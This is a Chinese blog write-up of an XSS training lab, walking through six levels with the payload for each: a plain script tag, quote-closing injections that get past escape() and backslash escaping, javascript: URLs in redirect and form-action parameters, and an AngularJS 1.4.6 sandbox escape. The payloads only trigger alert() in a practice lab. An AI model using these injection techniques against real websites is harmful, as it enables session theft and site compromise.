[第二章 web进阶]XSS闯关

[第二章 web进阶]XSS闯关

第一关

无任何过滤,直接传入

<script>alert(123);</script>

第二关

前置知识:

escape()函数:

escape()函数主要作用就是对字符串进行编码,以便它们能在所有计算机上可读。

语法:

escape(charString)
说明:

charString是必选参数,表示要进行编码的字符串或文字。escape()函数返回一个包含charString内容的字符串值(Unicode格式)。除了个别如“*@”之类的符号外,其余所有空格、标点符号以及其他非ASCII字符均可用“%xx”这种形式的编码代替,其中xx等于表示该字符的十六进制数。


若直接传入<script>alert(123);</script>,无回显,查看源码

在这里插入图片描述

发现对传入的username进行了escape函数编码,为了绕过编码,可以通过闭合username的方式构造完整的弹窗语句,且猜测会过滤script标签包裹的语句,传入

e'; alert(123); '

第三关

传入'OnFocus <sCriPt> <a hReF=javascript:alert()>,页面只回显了’OnFocus,查看源码

在这里插入图片描述

发现传入的单引号变成了 \'\ 是一个转义字符,它试图将后面的单引号 ' 转义为普通字符,而不是字符串的结束符,因此,需要传入两个单引号

e''; alert(123); '

第四关

本关会一直跳转,直接查看源码

在这里插入图片描述

发现本关一直跳转的是变量jumpUrl里的链接,因此可以直接重新对jumpUrl赋值,添加javascript语句,传入

?jumpUrl=javascript:alert(1);

第五关

前置知识:

getQueryVariable 是一个常见的 JavaScript 函数,用于从 URL 的查询字符串中获取特定参数的值。

function getQueryVariable(variable) {
    var query = window.location.search.substring(1); // 获取查询字符串并去掉开头的 "?"
    var vars = query.split('&'); // 将查询字符串按 "&" 分割成数组

    for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split('='); // 将每个键值对按 "=" 分割

        if (decodeURIComponent(pair[0]) == variable) { // 如果键与目标变量匹配
            return decodeURIComponent(pair[1]); // 返回解码后的值
        }
    }

    return null; // 如果没有找到,返回 null
}

假设当前 URL 是:

https://example.com/page?name=John&age=30

你可以使用 getQueryVariable 函数来获取 nameage 的值:

var name = getQueryVariable('name'); // 返回 "John"
var age = getQueryVariable('age');   // 返回 "30"

解释:

  1. window.location.search.substring(1): 获取当前 URL 的查询字符串部分,并去掉开头的 ?
  2. split('&'): 将查询字符串按 & 分割成多个键值对。
  3. split('='): 将每个键值对按 = 分割成键和值。
  4. decodeURIComponent: 对 URL 编码的字符串进行解码。

注意

  • 如果查询字符串中有多个相同的参数,这个函数只会返回第一个匹配的值。
  • 如果查询字符串中没有找到指定的参数,函数会返回 null

查看源码

在这里插入图片描述

  • autosubmit有值,则会继续执行以下内容
  • 如果 action 参数不存在或为空值(条件为 true),则将 autoForm.action 设置为当前页面的 URL(location.href)。
  • 如果 action 参数存在且有值(条件为 false),则将 autoForm.action 设置为 action 参数的值。

因此,可以通过控制action的值进行弹窗,传入

?autosubmit=eee&action=javascript:alert(1);

第六关

首先参考下面这个网页:
AngularJS客户端模板注入(XSS)
看完后就是模板注入XSS有了了解,不过由于我们的Angular版本是1.4.6,存在沙箱,因此要去搜索这个版本的Angular的沙箱逃逸的方法:AngularJS Sandbox Bypasses
从中得知的逃逸的办法

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值